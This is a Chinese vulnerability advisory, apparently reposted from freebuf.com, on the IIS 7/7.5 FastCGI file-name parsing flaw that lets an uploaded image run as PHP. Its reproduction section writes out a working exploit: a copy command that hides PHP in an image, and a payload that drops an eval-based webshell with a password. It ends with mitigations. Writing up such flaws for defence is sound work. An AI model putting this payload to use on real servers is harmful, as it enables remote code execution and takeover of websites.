iis7/7.5对文件名畸形解析导致远程代码执行
详细描述
Microsoft Internet信息服务(IIS)是MicrosoftWindows自带的一个网络信息服务器。
IIS7/7.5当以CGI的方式运行PHP时,在处理PHP文件路径的解析时存在问题。如果网站允许上传文件,而且上传文件路径可得到,远程攻击者可以利用此漏洞上传包含恶意代码的文件并得到执行,实现以Web进程权限执行任意命令。
攻击者上传允许上传的文件类型,文件中包含恶意代码,得到上传文件的URL后,在其后添加任意php后缀的文件名进行访问,会把上传的文件作为CGI脚本执行。
漏洞复现
IIS 7/7.5在Fast-CGI运行模式下,如果在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHPfputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[IIS])?>’);?>
意思为写入一个内容为 <?php eval($_POST[IIS])?> 名称为shell.php的文件
######################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 IIS
前提条件
该解析漏洞利用需要两个条件
1) php.ini里cgi.fix_pathinfo=1(默认为1)
2) 在”Handler Mapping”中取消勾选以下内容:
解决方案
1)配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序
2)在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”
3)重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已经不支持ISAPI方式)。
来源:freebuf.com 2019-03-13 12:33:24 by: 凯信特安全团队
请登录后发表评论
注册